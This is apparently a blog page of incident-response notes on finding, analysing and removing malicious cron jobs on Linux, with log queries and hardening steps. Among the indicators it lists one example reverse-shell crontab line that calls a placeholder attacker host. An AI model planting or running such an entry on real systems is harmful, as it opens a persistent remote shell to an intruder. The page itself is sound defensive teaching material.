KARIM ASHRAF SPACE.
  • Who Am I ?
  • WRITEUPS
    • What about Practice in Cyber Security?
    • Dark Side of VSCode
    • What about Cy-nix Machine?
    • Cyberdefenders Labs
      • Web Investigation Blue Team Lab
      • Red Stealer Blue Team Lab
      • WebStrike Blue Team Lab
      • BlueSky Ransomware Blue Team Lab
      • PsExec Hunt Blue Team Lab
      • OpenWire Blue Team Lab
      • 3CX Supply Chain Blue Team Lab
      • PoisonedCredentials Lab
      • Reveal Lab
    • Lets Defend
      • Incident Responder Path
        • Cybersecurity Incident Handling Guide
          • Introduction to Incident Handling
          • Incident Handling Steps
          • Preparation
          • Detection and Analysis
          • Containment, Eradication, and Recovery
          • Post-Incident Activity
        • Incident Response on Windows
          • How to Create Incident Response Plan?
          • Incident Response Procedure
          • 3 Important Things
          • Free Tools That Can Be Used
          • Live Memory Analysis
          • Task Scheduler
          • Services
          • Registry Run Keys / Startup Folder
          • Files
          • Checklist
        • Incident Response on Linux
          • How to Create Incident Response Plan?
          • Incident Response Procedure
          • 3 Important Things
          • Users and Groups
          • Processes
          • Files and File System
          • Mounts
          • Network
          • Service
          • Cron Job
          • SSH Authorized Keys
          • Bash_rc & Bash_profile
          • Useful Log Files
        • Hacked Web Server Analysis
          • Introduction to Hacked Web Server Analysis
          • Log Analysis on Web Servers
          • Attacks on Web Servers
          • Attacks Against Web Applications
          • Vulnerabilities on Servers
          • Vulnerabilities in Programming Language
          • Discovering the Web Shell
          • Hacked Web Server Analysis Example
        • Log Analysis with Sysmon
          • Introduction and Set Up of Sysmon
          • Detecting Mimikatz with Sysmon
          • Detecting Pass The Hash with Sysmon
          • Detecting Privilege Escalation with Sysmon
        • Forensic Acquisition and Triage
          • Introduction to Forensics Acquisition and Triage
          • Acquiring Memory Image From Windows and Linux
          • Custom Image Using FTK and Mounting Image for Analysis
          • KAPE Targets for Acquisition
          • KAPE Modules for Triage and Analysis
          • Triage Using FireEye Redline
          • Acquisition and Triage of Disks Using Autopsy
        • Memory Forensics
          • What is Memory Forensics
          • Memory Analysis Procedures
        • Registry Forensics
          • Introduction to Windows Registry Forensics
          • Acquiring Registry Hives
          • Regedit and Registry Explorer
          • System, Users and Network Information
          • Shellbags
          • Shimcache
          • Amcache
          • Recent Files
          • Dialogue Boxes MRU
        • Event Log Analysis
          • Introduction to Event Logs
          • Event Log Analysis
          • Authentication Event Logs
          • Windows Scheduled Tasks Event Logs
          • Windows Services Event Logs
          • Account Management Events
          • Event Log Manipulation
          • Windows Firewall Event Logs
          • Windows Defender Event Logs
          • Powershell Command Execution Event logs
        • Browser Forensics
          • Introduction to Browser Forensics
          • Acquisition
          • Browser Artifacts
          • Tool: BrowsingHistoryView
          • Manual Browser Analysis
          • Hindsight Framework
        • GTFOBins
          • Introduction to GTFOBins
          • Shell
          • Command
          • Reverse Shell
          • Bind Shell
          • File Upload
          • File Download
          • Sudo
        • Hunting AD Attacks
          • Introduction to Active Directory
          • Hunting AS-REP Roasting Attack
          • Hunting for Kerberoasting Attacks
          • Hunting for LDAP Enumerations (Bloodhound_Sharphound)
          • Hunting for NTDS Database Dumping
          • Hunting for Golden Ticket Attacks
          • Hunting for NTLM Relay Attacks
        • Writing a Report on Security Incident
          • Introduction to Technical Writing
          • Reporting Standards
          • Reporting Style
          • Report Formatting
          • Report Templates
        • How to Prepare a Cyber Crisis Management Pla
          • Introduction to Crisis Management
          • General Preparation
          • Tools
          • Backups
          • Alerts and End of Crisis
        • Advanced Event Log Analysis
          • Process Creation
          • DNS Activity
          • File/Folder Monitoring
          • BITS Client Event Log
          • Network Connections Event Log
          • MSI Event Logs
        • USB Forensics
          • Introduction to USB Forensics
          • USB Registry Key
          • USB Event Logs
          • Folder Access Analysis via Shellbags
          • File Access Analysis via Jumplists
          • Automated USB Parsers Tools
        • Windows Disk Forensics
          • SRUM Database
          • Jumplists
          • Recycle Bin Artifacts
          • RDP Cache
          • Thumbnail Cache
    • BTLO LABS
      • Bruteforce BTLO
    • The Complete Active Directory Security Handbook
      • Introduction
      • Active Directory
      • Attack Technique 1: Pass the Hash: Use of Alternate Authentication Material (T1550)
      • Attack Technique 2: Pass the Ticket: Use of Alternate Authentication Material (T1550)
      • Attack Technique 3: Kerberoasting
      • Attack Technique 4: Golden Ticket Attack
      • Attack Technique 5: DCShadow Attack
      • Attack Technique 6: AS-REP Roasting
      • Attack Technique 7: LDAP Injection Attack
      • Attack Technique 8: PetitPotam NTLM Relay Attack on a Active Directory Certificate Services (AD CS)
      • Conclusion & References
    • Windows Privilege Escalation
      • Tools
      • Windows Version and Configuration
      • User Enumeration
      • Network Enumeration
      • Antivirus Enumeration
      • Default Writeable Folders
      • EoP - Looting for passwords
      • EoP - Incorrect permissions in services
      • EoP - Windows Subsystem for Linux (WSL)
      • EoP - Unquoted Service Paths
      • EoP - $PATH Interception
      • EoP - Named Pipes
      • EoP - Kernel Exploitation
      • EoP - AlwaysInstallElevated
      • EoP - Insecure GUI apps
      • EoP - Evaluating Vulnerable Drivers
      • EoP - Printers
      • EoP - Runas
      • EoP - Abusing Shadow Copies
      • EoP - From local administrator to NT SYSTEM
      • EoP - Living Off The Land Binaries and Scripts
      • EoP - Impersonation Privileges
      • EoP - Privileged File Write
      • References
      • Practical Labs
    • Advanced Log Analysis
      • Key Windows Event IDs for Cybersecurity Monitoring
      • Analyzing a Series of Failed Login Attempts from Multiple IP Addresses
      • Steps to Investigate Suspicious Outbound Network Traffic
      • Identifying and Responding to Lateral Movement within a Network
      • Distinguishing Between Legitimate and Malicious PowerShell Executions
      • Detecting and Analyzing a Potential Data Exfiltration Incident Using Log Data
      • Steps to Analyze PowerShell Logging (Event ID 4104) for Malicious Activity
      • How to Identify an Internal Pivot Attack Using Log Data
      • Indicators in Logs Suggesting a Privilege Escalation Attack
      • How to Detect Command and Control (C2) Communication Using Log Analysis
      • How to Analyze Logs to Detect a Brute-Force Attack on an RDP Service
      • How to Analyze Logs to Detect a Brute-Force Attack on an RDP Service
      • How to Detect the Use of Living-Off-the-Land Binaries (LOLBins) in Logs
      • How to Detect Malware Masquerading as a Legitimate Process Using Log Analysis
      • How to Detect and Analyze Lateral Movement Using Windows Event Logs
      • How to Detect Potential Ransomware Attacks in Their Early Stages Using Log Analysis
      • How to Detect and Analyze Privilege Escalation Using Windows Event Logs
      • How to Detect the Use of Mimikatz or Similar Tools in Log Data
      • How to Detect and Analyze DNS Tunneling Through Log Analysis
      • How to Detect a Pass-the-Hash (PtH) Attack Using Logs
      • How to Detect and Analyze an Attacker’s Use of a Remote Access Trojan (RAT) Using Log Data
      • How to Detect Lateral Movement Using Windows Event Logs
      • How to Detect and Investigate Data Exfiltration Using Logs
      • How to Identify and Analyze an Internal Phishing Campaign Using Email and System Logs
      • How to Detect and Analyze Ransomware Activity Using Logs
      • How to Detect Malicious PowerShell Activity Using Log Analysis
      • How to Detect and Respond to Brute-Force Attacks Using Log Data
      • How to Detect Privilege Escalation Attempts Using Windows Event Logs
      • How to Detect and Analyze Suspicious Domain Name Resolution Requests in DNS Logs
      • How to Detect and Respond to Unauthorized Access to Critical Files
      • How to Detect and Analyze Suspicious PowerShell Command Execution
      • How to Detect and Investigate Account Takeover (ATO) Attempts Using
      • How to Detect and Analyze the Use of Living Off the Land Binaries (LOLBins)
      • How to Detect and Investigate Lateral Movement
      • How to Detect and Investigate Data Exfiltration
      • How to Detect and Analyze Suspicious Activity Involving Service Accounts
      • How to Detect and Investigate Anomalous PowerShell Activity Related to Credential Dumping
      • How to Detect and Analyze the Execution of Unsigned or Malicious Executables
      • How to Detect and Investigate Abnormal Spikes in Network Traffic
    • Methods for Stealing Password in Browser
      • Important Tables and Columns
      • Important Queries
      • Profiles
      • Tools
        • HackBrowserData
        • Browser-password-stealer
        • BrowserPass
        • WebBrowserPassView
        • Infornito
        • Hindsight
        • BrowserFreak
        • BrowserStealer
  • The Ultimate Active Directory CheatSheet
  • COURSES SUMMARY
    • TCM SEC
      • TCM linux Privilege Escalation
      • TCM OSINT
    • The SecOps Group
      • Certified AppSec Practitioner exam
      • CNSP Review
    • Cybrary
      • Cybrary Offensive Pentesting
  • TIPS&TRICKS
    • Windows Shorcuts Arrow Remover
    • Kali KEX
    • Intel TurboBoost
    • Pentest_Copilot
    • Ferdium
    • Youtube Adblock_Bybass
    • Burb-Bambdas
    • Burb Customizer
    • BetterFox
Powered by GitBook
On this page
  • Cron Job Analysis in Incident Response (Linux Systems)
  • Understanding Cron and Crontab
  • Incident Response Steps
  • 1. List All Cron Jobs
  • 2. Analyze Historical Cron Job Data
  • 3. Analyze Cron Jobs
  • 4. Determine Execution History
  • Eradication Steps
  • 1. Remove Malicious Cron Jobs
  • 2. Delete Malicious Scripts
  • 3. Reload Cron Daemon
  • 4. Validate the Changes
  • Post-Incident Actions
  • Key Points
  1. WRITEUPS
  2. Lets Defend
  3. Incident Responder Path
  4. Incident Response on Linux

Cron Job

Cron Job Analysis in Incident Response (Linux Systems)

Cron jobs are a key component of Linux systems for automating tasks, but they can be exploited by attackers to establish persistence. Here's a comprehensive guide to analyzing, detecting, and eradicating malicious cron jobs during an incident response.


Understanding Cron and Crontab

  • Cron: The daemon that executes scheduled tasks.

  • Cron Job: A scheduled task defined in a crontab file.

  • Crontab: A configuration file that specifies cron jobs.

Crontab File Structure

Each crontab entry has the following format:

<Minute> <Hour> <Day_of_Month> <Month> <Day_of_Week> <Command>

Examples:

  • Every 5 minutes: */5 * * * * /root/check_system.sh

  • Daily at 2 AM: 0 2 * * * /usr/local/bin/backup.sh

  • Every Monday at 10 AM: 0 10 * * 1 /usr/bin/cleanup.sh


Incident Response Steps

1. List All Cron Jobs

System-Wide Cron Jobs

System-wide cron jobs are configured for the entire system:

cat /etc/crontab

Cron Jobs in Drop-In Directories

Cron jobs may be defined in:

cat /etc/cron.d/*

User-Specific Cron Jobs

Each user’s crontab can be found in:

cat /var/spool/cron/crontabs/*

Or:

cat /var/spool/cron/*

To list the current user’s cron jobs:

crontab -l

To list another user's cron jobs:

crontab -u USERNAME -l

2. Analyze Historical Cron Job Data

Attackers may delete cron jobs after execution. Logs provide valuable insights.

Using Syslog

cat /var/log/syslog | grep CRON

Example Output:

Nov 13 03:20:01 server CRON[2345]: (root) CMD (/tmp/malicious.sh)

Using Journalctl

journalctl -u cron

For a specific timeframe:

journalctl -u cron --since "2024-11-12" --until "2024-11-13"

3. Analyze Cron Jobs

Focus on these indicators:

  • Execution Timing: Frequent or odd execution times (e.g., every minute).

  • Commands/Scripts:

    • Scripts or binaries running from unusual locations like /tmp, /dev/shm, or /var/tmp.

    • Suspicious filenames: backdoor.sh, rev.sh, script.sh.

  • Reverse Shells:

    * * * * * bash -i >& /dev/tcp/attacker_ip/4444 0>&1

4. Determine Execution History

To confirm if the malicious cron job was executed, search for the specific script or command in the logs:

cat /var/log/syslog | grep "/path/to/malicious_script.sh"

Or:

journalctl -u cron | grep "/path/to/malicious_script.sh"

Eradication Steps

1. Remove Malicious Cron Jobs

Edit the crontab to remove the malicious entry:

crontab -e

For user-specific cron jobs:

crontab -u USERNAME -e

2. Delete Malicious Scripts

Identify and remove the associated malicious scripts:

rm /path/to/malicious_script.sh

3. Reload Cron Daemon

Ensure cron reloads the updated configuration:

systemctl reload cron

4. Validate the Changes

Recheck for active cron jobs:

cat /etc/crontab
cat /var/spool/cron/crontabs/*

Post-Incident Actions

  1. Audit File Permissions: Ensure only authorized users can modify crontab files.

    ls -l /var/spool/cron/crontabs
  2. Limit User Access: Restrict the ability to create or edit cron jobs to specific users.

  3. Monitor for Unauthorized Changes: Use file integrity monitoring tools like Tripwire or AIDE to track modifications in cron directories.

  4. Centralize Log Analysis: Set up centralized logging to detect anomalies across systems.


Key Points

Cron jobs are a powerful tool but can be exploited by attackers for persistence. By systematically listing, analyzing, and removing unauthorized cron jobs, you can neutralize these threats and secure your system. Regular audits and proactive monitoring are essential to prevent future incidents.

PreviousServiceNextSSH Authorized Keys

Last updated 7 months ago